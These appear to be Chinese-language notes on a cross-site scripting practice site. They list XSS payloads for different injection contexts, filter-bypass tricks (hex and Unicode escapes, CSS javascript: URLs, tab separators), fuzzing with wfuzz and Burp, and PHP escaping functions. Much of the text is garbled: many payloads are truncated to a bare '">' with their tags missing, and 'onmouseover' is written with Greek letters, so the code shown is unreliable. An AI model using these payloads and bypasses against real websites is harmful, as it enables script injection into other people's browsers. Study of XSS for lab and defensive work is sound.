跨站脚本攻击(Cross Site Scripting)。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览网页时,嵌入其中的Web里面的Script代码会被执行。
http://xss-quiz.int21h.jp/
1.探测XSS过程
构造一个独一无二且不会被识别为恶意代码的字符串来提交到页面,例如:123qweasdzxc
使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示
闭合文本标签利用XSS Payload:“
2.标签属性中的XSS
闭合引用script: ">
闭合引用事件: " οnmοuseοver=alert(document.domain)>
3.选择列表的XSS
闭合标签script:
4.隐藏提交参数中的XSS
hidden标签的XSS: ">
5.限制输入长度的XSS
修改input标签中的maxlength为1000后,在search中输入">
6.HTML事件中的XSS
"οnmοuseοver=“alert(document.domain)”
">
7.空格分隔属性的XSS
注意没有引号: 1111 οnmοuseοver=alert(document.domain)
8.Javascript伪协议触发XSS
Javascript代码添加到客户端的方式是把它放置在伪协议说明符javascript后的URL中。这个特殊的协议类型生命了URL主体是任意的Javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分隔符隔开。javascript:var now=new Date();“
9.绕过过滤
双写: ">
过滤on事件绕过(tab建不是空格):”>1
IE特性两个反引号:
οnmοuseοver=alert(document.domain)
css特性绕过: background-color:#f00;background:url(“javascript:alert(document.domain);”);
双斜线+16进制绕过:\x3cscript\x3ealert(document.domain);\x3c/script\x3e
unicode绕过: \u003cscript\u003ealert(document.domain);\u003c/script\u003e
编码加密解密:http://www.jsfuck.com
wfuzz检测,字典位置:/usr/share/wordlists/wfuzz/Injections
https://github.com/TheKingOfDuck/easyXssPayload
Burpsuite Xss探测:截断后->send to intruder->Positions->右侧Add&->Payload type:Runtime file->选择对应的Xss.txt
10.PHP中的XSS过滤函数
htmlspecialchars()
htmlentities()
strip_tags()
自定义xss filter
11.XSS发生的位置
GET型URL中的XSS:如果在URL中提交的参数值,在页面中显示。很有可能就存在XSS
POST表单中的XSS:如果在表单中提交的参数值,在页面中显示。很有可能就存在XSS
JSON中的XSS
自定义HTTP头中的XSS:如果在HTTP自定义头中提交的参数值,在页面中显示。很有可能就存在XSS